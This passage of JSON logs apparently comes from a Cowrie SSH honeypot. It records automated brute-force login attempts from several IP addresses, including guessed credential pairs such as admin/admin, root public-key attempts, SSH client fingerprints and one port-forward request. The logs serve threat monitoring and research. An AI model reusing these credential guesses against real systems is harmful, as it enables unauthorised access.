4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:59.181014Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8KrewHwxaGvaE7juqZM7RjPoag7zwOkTi7WHyFMtPYGLxibDkpc6kvLRUpmFKxxpZ+Ckr62gvnTY7wO+Tv1iZiyard8+X0b1PL0h+MYkISEbFl7pZ9Rc9uSy2e/t8xE/9HQznE1XbMRxxinKgBShBoey4BpQQRDh9jwCs5KyySq4HX11t0JqJL7X/nlt95cmxO6okSw3vTkD58OAqSaB67jA8mYYmIT+ATBZoI2RPTtbtfthMOY2CLAZRDZb4hQASPhRAyJUkvZHsOfl7Ke7hX62EdXFflxtIW0z/1aLfAvVKeC985Vgqif8Nu+7C+vrCl1/8CAqNVCcRreHMYvZKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:59.183469Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:05:59.249706Z","src_ip":"204.77.9.130","session":"cde2d22be616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:01.738232Z","src_ip":"193.152.35.112","session":"a456095a6b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:02.885913Z","src_ip":"193.152.35.112","session":"a456095a6b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31572,"dst_ip":"10.17.0.5","dst_port":22,"session":"d032a2407efa","protocol":"ssh","message":"New connection: 87.251.64.176:31572 (10.17.0.5:22) [session: d032a2407efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:27.489139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:27.493624Z","src_ip":"87.251.64.176","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:27.589274Z","src_ip":"87.251.64.176","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:27.879920Z","src_ip":"87.251.64.176","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:27.979007Z","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:28.076479Z","src_ip":"87.251.64.176","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:28.174957Z","src_ip":"87.251.64.176","session":"d032a2407efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47548,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e29736d08e7","protocol":"ssh","message":"New connection: 2.57.122.208:47548 (159.203.135.109:22) [session: 9e29736d08e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:28.816931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:28.833221Z","src_ip":"2.57.122.208","session":"9e29736d08e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:29.340884Z","src_ip":"2.57.122.208","session":"9e29736d08e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:30.153338Z","src_ip":"2.57.122.208","session":"9e29736d08e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:31.423614Z","src_ip":"2.57.122.208","session":"9e29736d08e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":38855,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d67ac3131e","protocol":"ssh","message":"New connection: 213.209.159.56:38855 (10.17.0.5:22) [session: e5d67ac3131e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:37.976400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:37.983697Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:38.064739Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta","message":"login attempt [julieta/julieta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:38.466831Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta1","message":"login attempt [julieta/julieta1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:39.579697Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta123","message":"login attempt [julieta/julieta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:40.664598Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta1234","message":"login attempt [julieta/julieta1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:41.749491Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta12345","message":"login attempt [julieta/julieta12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:42.834893Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:06:43.919263Z","src_ip":"213.209.159.56","session":"e5d67ac3131e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53152,"dst_ip":"10.17.0.5","dst_port":22,"session":"982b064aedf3","protocol":"ssh","message":"New connection: 2.57.122.208:53152 (10.17.0.5:22) [session: 982b064aedf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:04.341114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:04.561257Z","src_ip":"2.57.122.208","session":"982b064aedf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:04.564924Z","src_ip":"2.57.122.208","session":"982b064aedf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:05.761915Z","src_ip":"2.57.122.208","session":"982b064aedf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.4.102","src_port":52248,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8f47307cf8","protocol":"ssh","message":"New connection: 139.162.4.102:52248 (10.17.0.5:22) [session: 8e8f47307cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:06.350514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:06.354663Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:06.654063Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:07.175989Z","src_ip":"2.57.122.208","session":"982b064aedf3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZrAGMgNtE/72wdDO3MHY89VAK6gNM/cGtY1oa8KOW7VtEz/6/fDWwwWRhEpsJ0subFbu6cZ6lEQWqlMcVGnPMVdWJIoK0QTVvgK7fGWsgTbKp8rUzAq4a1QOrbMPtDbWMWaO0D59c8CTQFGkt+Rb8eVLf/zJzFcFi9JoR94i1CHxfqFo8uDvyIIthJeCxIPjp57iFdvrCm0rv5CIFTVHn0/1QnFeBBZP+0ch8OXpM0Ql9MbZfDY0oGtN+/9YSIv9jMDcN34TwVB4mLZid9svuyCfOyao8MQknP68IViVfh0AObx3ivUCFbfEFcoF8N1eW5aXNWlwVQBQzEa4c527","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:07.835527Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:2a:d6:58:32:ae:06:4e:d8:bd:50:cb:b2:b0:d9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZrAGMgNtE/72wdDO3MHY89VAK6gNM/cGtY1oa8KOW7VtEz/6/fDWwwWRhEpsJ0subFbu6cZ6lEQWqlMcVGnPMVdWJIoK0QTVvgK7fGWsgTbKp8rUzAq4a1QOrbMPtDbWMWaO0D59c8CTQFGkt+Rb8eVLf/zJzFcFi9JoR94i1CHxfqFo8uDvyIIthJeCxIPjp57iFdvrCm0rv5CIFTVHn0/1QnFeBBZP+0ch8OXpM0Ql9MbZfDY0oGtN+/9YSIv9jMDcN34TwVB4mLZid9svuyCfOyao8MQknP68IViVfh0AObx3ivUCFbfEFcoF8N1eW5aXNWlwVQBQzEa4c527","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:07.839868Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAspPGcoAXWDLRwmEuwq0FbrwNX8E5Ju3u1IAZFZA+nI6l63ux/cvO8sc5WF2rYl3I/WYZLJQ2GtEpTHc8e/xXHQpUN5QGX5J0RnukjO1DAfIJW0F5YK/ALW9/HjlT23CQPnj26IQjdtrS5kKW8i4qhGZu9loVeMQPjitNlbnsCY7NMl1OR1LL+SX+qzirWT6ocwKtLwjRjkfA/4lbGVzJGQTyyDBhI2UJluoQKEYIk+Jju5iSxvvO2EWf+jl8kDryyZMPYeivstqYlcJ9Oj8VXG6HKq/BNp3NGy8Sj519e/UD6jHnBO7SZO1G8mifAeBnA+6p0qMr4NE7g0HAk7PPow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.080459Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:ce:be:b1:8a:d6:9e:e9:6d:f2:08:ce:8c:df:fc:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAspPGcoAXWDLRwmEuwq0FbrwNX8E5Ju3u1IAZFZA+nI6l63ux/cvO8sc5WF2rYl3I/WYZLJQ2GtEpTHc8e/xXHQpUN5QGX5J0RnukjO1DAfIJW0F5YK/ALW9/HjlT23CQPnj26IQjdtrS5kKW8i4qhGZu9loVeMQPjitNlbnsCY7NMl1OR1LL+SX+qzirWT6ocwKtLwjRjkfA/4lbGVzJGQTyyDBhI2UJluoQKEYIk+Jju5iSxvvO2EWf+jl8kDryyZMPYeivstqYlcJ9Oj8VXG6HKq/BNp3NGy8Sj519e/UD6jHnBO7SZO1G8mifAeBnA+6p0qMr4NE7g0HAk7PPow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.084578Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobRvzrjhh4aSil3/NNmLLO8WTWb1igZqCLVsgaSw8HPymQKgifZyzJ6K9TSJMTuHPFjV0l0hwBCfe4ygcdMYUgX9zzkQSp+f7Fy/7YKuHN0v7IUj7hy/CB2QIm80Xl1XPjLl75zMgCcUsjN6LHcqDzasd5WsrzNVWFPcFIH3F8zPwpy8SzDW+lMyzNL7zKlFGyBJRrjLD/fkYWBBej6dY9PxJXLpaoEyrgMzeX2y5EIowvMQmDvTXWRxToRQXdwUCaYfU/LoyWK3pBbsON6pEw+Ht+SG3bCjiW8/Ar26bvxpCgO8Lob4zstBmBayMQCVxANs2y/y9AoflnSO8nFVNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.326643Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:e6:53:ee:61:f7:97:ee:32:5b:b2:ac:5c:b0:ee:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAobRvzrjhh4aSil3/NNmLLO8WTWb1igZqCLVsgaSw8HPymQKgifZyzJ6K9TSJMTuHPFjV0l0hwBCfe4ygcdMYUgX9zzkQSp+f7Fy/7YKuHN0v7IUj7hy/CB2QIm80Xl1XPjLl75zMgCcUsjN6LHcqDzasd5WsrzNVWFPcFIH3F8zPwpy8SzDW+lMyzNL7zKlFGyBJRrjLD/fkYWBBej6dY9PxJXLpaoEyrgMzeX2y5EIowvMQmDvTXWRxToRQXdwUCaYfU/LoyWK3pBbsON6pEw+Ht+SG3bCjiW8/Ar26bvxpCgO8Lob4zstBmBayMQCVxANs2y/y9AoflnSO8nFVNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.329648Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
